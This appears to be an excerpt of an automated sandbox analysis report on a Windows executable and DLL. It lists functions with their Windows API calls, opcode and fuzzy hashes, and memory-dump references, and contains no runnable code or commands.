Associated: 00000000.00000002.1667293297.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.0000000000438000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.000000000047B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.000000000047D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667398975.000000000047F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_7000091945.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: a764032cc0ce64e7f87df91ab84dfb27e8fca44cfd77f22972d2dc2d25b91850
Instruction ID: 11a24c4abb36edafbee48cc994cb64d758a4bce1ebd63d049f972be52462095a
Opcode Fuzzy Hash: a764032cc0ce64e7f87df91ab84dfb27e8fca44cfd77f22972d2dc2d25b91850
Instruction Fuzzy Hash: C7D0C9725045316BC2102728AF0889BBB55EB643717054A35F9A5A22B0CB314C528A98

Function 004059C5 Relevance: 3.0, APIs: 2, Instructions: 9COMMON

Download Yara Rule

APIs

CreateDirectoryW.KERNELBASE(?,00000000,004034B8,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,0040370F,?,00000007,00000009,0000000B), ref: 004059CB
GetLastError.KERNEL32(?,00000007,00000009,0000000B), ref: 004059D9

Memory Dump Source

Source File: 00000000.00000002.1667248867.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1667235648.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667264780.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.0000000000438000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.000000000047B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.000000000047D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667398975.000000000047F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_7000091945.jbxd

Similarity

API ID: CreateDirectoryErrorLast
String ID:
API String ID: 1375471231-0
Opcode ID: a5afa482e644e9a10fedfab033ae5dbb8931bf23a9e1c5533d9f8c1a63861871
Instruction ID: 1e5fcd6d8aa83e7c3539c134ce858d200345c8ad9b438ef6e258ac5dd368824a
Opcode Fuzzy Hash: a5afa482e644e9a10fedfab033ae5dbb8931bf23a9e1c5533d9f8c1a63861871
Instruction Fuzzy Hash: 27C04C71204541EEE6505B20AE09B177A909B50751F26843A6147F01A0DA388455E93D

Function 6FF42AF8 Relevance: 1.6, APIs: 1, Instructions: 143fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNELBASE(00000000), ref: 6FF42BB7

Memory Dump Source

Source File: 00000000.00000002.1701491711.000000006FF41000.00000020.00000001.01000000.00000004.sdmp, Offset: 6FF40000, based on PE: true

Associated: 00000000.00000002.1701178941.000000006FF40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.1701514558.000000006FF44000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.1701541721.000000006FF46000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ff40000_7000091945.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: a59346ab49a4f15fa888c8accfbc241af7790ab786aff5c59b2ed716108b9335
Instruction ID: 0c9c51ff095f2eae9d903316ae20a78af270fe12cd9645dd238a8bd388f81a01
Opcode Fuzzy Hash: a59346ab49a4f15fa888c8accfbc241af7790ab786aff5c59b2ed716108b9335
Instruction Fuzzy Hash: 6B419F76410705DFDB20FFACD980B593F74EF56328F248975E904CA362C736A4998BA1

Function 0040167B Relevance: 1.5, APIs: 1, Instructions: 38fileCOMMON

Download Yara Rule

APIs

MoveFileW.KERNEL32(00000000,00000000), ref: 00401696

Memory Dump Source

Source File: 00000000.00000002.1667248867.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1667235648.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667264780.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.0000000000438000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.000000000047B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.000000000047D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667398975.000000000047F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_7000091945.jbxd

Similarity

API ID: FileMove
String ID:
API String ID: 3562171763-0
Opcode ID: b0fff4f7d9f0c8c4e53b92ad7996c7cf9495e9d5390423736948b2db19d58f54
Instruction ID: fcc600a422b8a42da4105bc5b3b2554e42f689db638891b56f5b1ccf785cbf50
Opcode Fuzzy Hash: b0fff4f7d9f0c8c4e53b92ad7996c7cf9495e9d5390423736948b2db19d58f54
Instruction Fuzzy Hash: 0AF0B431608114A6CB10AFB68F0DD9F33609F52338F250A3FF421B21D1E6FC8941556E

Function 004023AA Relevance: 1.5, APIs: 1, Instructions: 25COMMON

Download Yara Rule

APIs

WritePrivateProfileStringW.KERNEL32(00000000,00000000,?,00000000), ref: 004023E1

Memory Dump Source

Source File: 00000000.00000002.1667248867.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1667235648.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667264780.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.0000000000438000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.000000000047B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.000000000047D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667398975.000000000047F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_7000091945.jbxd

Similarity

API ID: PrivateProfileStringWrite
String ID:
API String ID: 390214022-0
Opcode ID: 84911039e741b8054182bf8c56606a22799472c4c6cd86ceafd7de9864a58810
Instruction ID: 2036f094aef4cf8fcdd3ce51ebd23e93268b82f075a1b79732874c3119e34eec
Opcode Fuzzy Hash: 84911039e741b8054182bf8c56606a22799472c4c6cd86ceafd7de9864a58810
Instruction Fuzzy Hash: 30E086319001246ADB303AF15E8DEBF21586F44345B14093FFA12B62C2DAFC0C42467D

Function 004062AC Relevance: 1.5, APIs: 1, Instructions: 24registryCOMMON

Download Yara Rule

APIs

RegCreateKeyExW.KERNELBASE(00000000,?,00000000,00000000,00000000,?,00000000,?,00000000,?,?,?,00402DEF,00000000,?,?), ref: 004062D5

Memory Dump Source

Source File: 00000000.00000002.1667248867.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1667235648.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667264780.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.0000000000438000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.000000000047B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.000000000047D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667398975.000000000047F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_7000091945.jbxd

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
Opcode ID: 33f0ef72135594440bd39ae1090de480165a05d63dfabbbeebd316e266d8c237
Instruction ID: 3317d7e482e8079663a6db4a97809581e22c1b07b88153a27e00a08cc0e2c803
Opcode Fuzzy Hash: 33f0ef72135594440bd39ae1090de480165a05d63dfabbbeebd316e266d8c237
Instruction Fuzzy Hash: 52E0ECB2020109BEEF19AF90DD1ADBB371DEB04350F01492EF916E4091E6B5A930AA74

Function 00405F8A Relevance: 1.5, APIs: 1, Instructions: 22fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNELBASE(00000000,00000000,00000004,00000004,00000000,?,?,0040347A,00000000,00000000,0040329E,?,00000004,00000000,00000000,00000000), ref: 00405F9E

Memory Dump Source

Source File: 00000000.00000002.1667248867.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1667235648.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667264780.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.0000000000438000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.000000000047B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.000000000047D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667398975.000000000047F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_7000091945.jbxd

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: 0024165f2f5d2011be9120f41fe866c54f7b8e58de784a1218c53157080e4b8c
Instruction ID: f93b0abb86e743badb4163669300e0f642a0e5fa5e5e92c65fa389833edf0ca2
Opcode Fuzzy Hash: 0024165f2f5d2011be9120f41fe866c54f7b8e58de784a1218c53157080e4b8c
Instruction Fuzzy Hash: D7E08C3220121AEBEF11AE618C04EEBBB6CFF01360F004832F910E6240D238E8218BA4

Function 00405FB9 Relevance: 1.5, APIs: 1, Instructions: 22fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNELBASE(00000000,00000000,00000004,00000004,00000000,?,?,00403430,000000FF,0041EA20,?,0041EA20,?,?,00000004,00000000), ref: 00405FCD

Memory Dump Source

Source File: 00000000.00000002.1667248867.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1667235648.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667264780.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.0000000000438000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.000000000047B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.000000000047D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667398975.000000000047F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_7000091945.jbxd

Similarity

API ID: FileWrite
String ID:
API String ID: 3934441357-0
Opcode ID: 3dec9289c2e50997f5b7f42c7d661c3d3292bfbb80aff78175bf8fde073ef60e
Instruction ID: c6b158df49e6f5968e08b93a39371abef257cf80c9060b8b5a86bf4d0676d75d
Opcode Fuzzy Hash: 3dec9289c2e50997f5b7f42c7d661c3d3292bfbb80aff78175bf8fde073ef60e
Instruction Fuzzy Hash: 1FE0EC3225065AABDF109E669C04EEB7B6CEB053A0F004837FA55E3190D635E821DBA4

Function 6FF429DF Relevance: 1.5, APIs: 1, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(6FF4505C,00000004,00000040,6FF4504C), ref: 6FF429FD

Memory Dump Source

Source File: 00000000.00000002.1701491711.000000006FF41000.00000020.00000001.01000000.00000004.sdmp, Offset: 6FF40000, based on PE: true

Associated: 00000000.00000002.1701178941.000000006FF40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.1701514558.000000006FF44000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.1701541721.000000006FF46000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ff40000_7000091945.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 16c39351f470264805a40e5d06f94827341f48c669ad0841d804881d00f59c62
Instruction ID: 6a4c83bfce6863b7657e238d4064027ab3a0e3674a80c58ce1262d54e8bc5e41
Opcode Fuzzy Hash: 16c39351f470264805a40e5d06f94827341f48c669ad0841d804881d00f59c62
Instruction Fuzzy Hash: 01F0A5B8524A86DEEB60FF2C84447093FE0BB2B324B18456AE148D6363E37540ACDB91

Function 004023EC Relevance: 1.5, APIs: 1, Instructions: 20COMMON

Download Yara Rule

APIs

GetPrivateProfileStringW.KERNEL32(00000000,?,?,?,000003FF,00000000), ref: 0040241D

Memory Dump Source

Source File: 00000000.00000002.1667248867.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1667235648.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667264780.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.0000000000438000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.000000000047B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.000000000047D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667398975.000000000047F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_7000091945.jbxd

Similarity

API ID: PrivateProfileString
String ID:
API String ID: 1096422788-0
Opcode ID: f55628d4b7fc1c3702899dee1337003f381c7036a296fbc4314416ebe8ce5134
Instruction ID: 84a3be15b77accaad8f92e5f77cb7225a0a8ac318d6267ea73d07213f2db240d
Opcode Fuzzy Hash: f55628d4b7fc1c3702899dee1337003f381c7036a296fbc4314416ebe8ce5134
Instruction Fuzzy Hash: D3E04F30800219AADB00AFA0CE09EAE3769BF00300F10093AF520BB0D1E7FC89409749

Function 0040627E Relevance: 1.5, APIs: 1, Instructions: 19registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.KERNELBASE(00000000,00000000,00000000,?,?,0042C248,?,?,0040630C,0042C248,00000000,?,?,Call,?), ref: 004062A2

Memory Dump Source

Source File: 00000000.00000002.1667248867.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1667235648.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667264780.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.0000000000438000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.000000000047B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.000000000047D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667398975.000000000047F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_7000091945.jbxd

Similarity

API ID: Open
String ID:
API String ID: 71445658-0
Opcode ID: dcd566976f3bef00ddda20b11fb2537fa700d8cbfb920dfffbe2909342267143
Instruction ID: 30c71471ac55a0486040fafebf39dce1c160f5eedd86b0188f7d98683811911a
Opcode Fuzzy Hash: dcd566976f3bef00ddda20b11fb2537fa700d8cbfb920dfffbe2909342267143
Instruction Fuzzy Hash: 45D0123254020DBBEF11AF90ED01FAB375DAB08351F01442AFE16A4091D775D530A724

Function 004015A3 Relevance: 1.5, APIs: 1, Instructions: 18COMMON

Download Yara Rule

APIs

SetFileAttributesW.KERNELBASE(00000000,?,000000F0), ref: 004015AE

Memory Dump Source

Source File: 00000000.00000002.1667248867.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1667235648.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667264780.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.0000000000438000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.000000000047B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.000000000047D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667398975.000000000047F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_7000091945.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 6b1ab73fd8eff285d918823dc1170c24360cfb5c9671e6d3e0b8c01c80aedfbb
Instruction ID: a93de1ea602b80332484b308aebd2b3b1e31a5c4c7fa674852030dd18b7254c5
Opcode Fuzzy Hash: 6b1ab73fd8eff285d918823dc1170c24360cfb5c9671e6d3e0b8c01c80aedfbb
Instruction Fuzzy Hash: AAD01772B041049BCB00DFA9AA48A9E73B0EF64328B308537D121F21D0D6F899419A29

Function 0040347D Relevance: 1.5, APIs: 1, Instructions: 6COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(?,00000000,00000000,004031DA,?,?,00000007,00000009,0000000B), ref: 0040348B

Memory Dump Source

Source File: 00000000.00000002.1667248867.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1667235648.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667264780.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.0000000000438000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.000000000047B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.000000000047D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667398975.000000000047F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_7000091945.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: e1e4f0b9cbde4cef3e4374ef9de0ac4f9a9ec0cef6a377cf2568efe91b529ef4
Instruction ID: 036c8468b6dd2e012b37e6e875261c5f60c7cf4634656b07e897873a541603b6
Opcode Fuzzy Hash: e1e4f0b9cbde4cef3e4374ef9de0ac4f9a9ec0cef6a377cf2568efe91b529ef4
Instruction Fuzzy Hash: 1FB01231140304BFDA214F10DF09F067B21BB94700F20C034B384380F086711435EB0D

Function 00405A3D Relevance: 1.5, APIs: 1, Instructions: 6COMMON

Download Yara Rule

APIs

ShellExecuteExW.SHELL32(?), ref: 00405A4C

Memory Dump Source

Source File: 00000000.00000002.1667248867.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1667235648.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667264780.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.0000000000438000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.000000000047B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.000000000047D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667398975.000000000047F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_7000091945.jbxd

Similarity

API ID: ExecuteShell
String ID:
API String ID: 587946157-0
Opcode ID: 34af207f7f04f37b2a6a243a8c8041682423b78b35e6f682d2e1a111f695392f
Instruction ID: 155326c85e208380d9db810c36285a9e1b4200be200639c8195ffcf147e959ee
Opcode Fuzzy Hash: 34af207f7f04f37b2a6a243a8c8041682423b78b35e6f682d2e1a111f695392f
Instruction Fuzzy Hash: BEC092B2000200EFE301CF80CB09F067BE8AF54306F028068E185DA060C7788840CB29

Function 0040439C Relevance: 1.5, APIs: 1, Instructions: 6windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000028,?,?,004041C7), ref: 004043AA

Memory Dump Source

Source File: 00000000.00000002.1667248867.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1667235648.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667264780.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.0000000000438000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.000000000047B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.000000000047D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667398975.000000000047F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_7000091945.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: ea04ea026f55595d688d74c1d87789f1c1942be7a89ca5b988cfd0b6025de892
Instruction ID: f9270ce27bc2d5d500308faa7c43699bdd9cec228278350af1c7ef3a72e6c056
Opcode Fuzzy Hash: ea04ea026f55595d688d74c1d87789f1c1942be7a89ca5b988cfd0b6025de892
Instruction Fuzzy Hash: 4FB01235181A00FBDE514B00DE09F857E62F7E4701F058038F341240F0CBB200A4DB08

Function 004014D7 Relevance: 1.3, APIs: 1, Instructions: 19sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00000000), ref: 004014EA

Memory Dump Source

Source File: 00000000.00000002.1667248867.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1667235648.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667264780.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.0000000000438000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.000000000047B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.000000000047D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667398975.000000000047F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_7000091945.jbxd

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: f5bdca1a155d9e49db802200bf92d6fca10bad1793e20f26dfe4708f9af3b7d1
Instruction ID: 48b894a6b6243f55f811ea40c192212472d129cd546c7318a3a4cbaf3ee199e0
Opcode Fuzzy Hash: f5bdca1a155d9e49db802200bf92d6fca10bad1793e20f26dfe4708f9af3b7d1
Instruction Fuzzy Hash: EFD05E73A201009BC700DFB8BE8545E73B8EA903293304837D442E20D1E6B898418628

Function 6FF4121B Relevance: 1.3, APIs: 1, Instructions: 6memoryCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNELBASE(00000040,?,6FF4123B,?,6FF412DF,00000019,6FF411BE,-000000A0), ref: 6FF41225

Memory Dump Source

Source File: 00000000.00000002.1701491711.000000006FF41000.00000020.00000001.01000000.00000004.sdmp, Offset: 6FF40000, based on PE: true

Associated: 00000000.00000002.1701178941.000000006FF40000.00000002.00000001.01000000.00000004.sdmpDownload File
